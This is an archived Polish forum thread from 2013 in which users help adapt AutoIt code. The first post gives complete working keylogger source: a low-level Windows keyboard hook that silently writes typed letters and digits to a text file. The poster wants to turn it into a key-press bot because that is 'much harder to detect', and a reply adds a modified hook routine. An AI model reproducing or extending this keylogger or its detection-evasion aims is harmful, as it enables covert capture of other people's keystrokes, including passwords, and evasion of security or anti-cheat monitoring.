Arturzt29 Opublikowano 17 Sierpnia 2013 Udostępnij Opublikowano 17 Sierpnia 2013 Mam taki kod: #include <WinAPI.au3>#include <WindowsConstants.au3>#include <StructureConstants.au3>$File = @MyDocumentsDir &"\koniec\end.txt"$File = FileOpen($File,9)OnAutoItExitRegister("Cleanup") $hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam") $hmod = _WinAPI_GetModuleHandle(0) $hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod) While 1 Sleep(10) WEndFunc EvaluateKey($keycode) If (($keycode > 64) And ($keycode < 91)) _ ; a - z Or (($keycode > 96) And ($keycode < 123)) _ ; A - Z Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9 FileWrite($File,Chr($keycode)) EndIfEndFuncFunc _KeyProc($nCode, $wParam, $lParam) Local $tKEYHOOKS $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam) If $nCode < 0 Then Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam) EndIf If $wParam = $WM_KEYDOWN Then EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode")) EndIf Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)EndFuncFunc Cleanup() _WinAPI_UnhookWindowsHookEx($hHook)EndFunc wykrywa on naciśnięte klawisze i zapisuje do pliku txt, chcę zamienić część kodu aby symulowało naciśnięcie klawisza (coś takiego jak Send() ale z hookiem na klawiaturę), takie coś o wiele trudniej wykryć a niestety nie potrafię sam zamienić, np. chciałbym aby naciskało klawisz W, czeka 5 sekund i naciska klawisz Z, proszę o pomoc Odnośnik do komentarza Udostępnij na innych stronach Więcej opcji udostępniania...
Phoenix_PL Opublikowano 17 Sierpnia 2013 Udostępnij Opublikowano 17 Sierpnia 2013 Dodajesz do funkcji sprawdzającej czy został kliknięty klawisz "w", potem... właśnie, co potem. musiałbyś w c++ to napisać od nowa i wtedy Sleep(5000) w nowy wątek, w autoit po prostu zatrzymasz program. autoit kompletnie się do tego nie nadaje. Odnośnik do komentarza Udostępnij na innych stronach Więcej opcji udostępniania...
Ballas Opublikowano 17 Sierpnia 2013 Udostępnij Opublikowano 17 Sierpnia 2013 Z tego co czytałem na autoitscript.com, to ciężko będzie coś wykombinować. Możesz spróbować z: _WinAPI_PostMessage() W helpie nie ma o tym za dużo, dlatego polecam wyżej podane forum (niestety po ang.) i próby. Ja ostrzegam, ta funkcja raz działa, raz nie. @Edit: I ty robisz keyloggera czy bota? Odnośnik do komentarza Udostępnij na innych stronach Więcej opcji udostępniania...
Arturzt29 Opublikowano 17 Sierpnia 2013 Autor Udostępnij Opublikowano 17 Sierpnia 2013 Z tego co czytałem na autoitscript.com, to ciężko będzie coś wykombinować. Możesz spróbować z: _WinAPI_PostMessage() W helpie nie ma o tym za dużo, dlatego polecam wyżej podane forum (niestety po ang.) i próby. Ja ostrzegam, ta funkcja raz działa, raz nie. @Edit: I ty robisz keyloggera czy bota? Ok, teraz robię bota, chcę przerobić keyloggera działającego na podobnej zasadzie by zamiast rejestrować klawisze symulował wciśnięcia Dodajesz do funkcji sprawdzającej czy został kliknięty klawisz "w", potem... właśnie, co potem. musiałbyś w c++ to napisać od nowa i wtedy Sleep(5000) w nowy wątek, w autoit po prostu zatrzymasz program. autoit kompletnie się do tego nie nadaje. Właśnie o to chodzi, żeby program się zatrzymał a po tym Sleep(5000) mogę dodać kilka linijek kodu by powrócił do poprzedniego stanu. Albo AdlibRegister Odnośnik do komentarza Udostępnij na innych stronach Więcej opcji udostępniania...
Ballas Opublikowano 17 Sierpnia 2013 Udostępnij Opublikowano 17 Sierpnia 2013 Global $timer Func EvaluateKey($keycode) If $timer = 0 then Return Else If (($keycode > 64) And ($keycode < 91)) _ ; a - z Or (($keycode > 96) And ($keycode < 123)) _ ; A - Z Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9 FileWrite($File,Chr($keycode)) Adlibregister("Timer",5000) $timer = "-1" EndIf Endif EndFunc Func Timer() $timer = 0 AdlibUnRegister("Timer") Endfunc Z epoki kamienia łupanego, może podziała prymityw. Nie wiem czy wszystko ok, pisane na kolanie. @Edit: Co tych poprawek Odnośnik do komentarza Udostępnij na innych stronach Więcej opcji udostępniania...
Rekomendowane odpowiedzi
Zarchiwizowany
Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.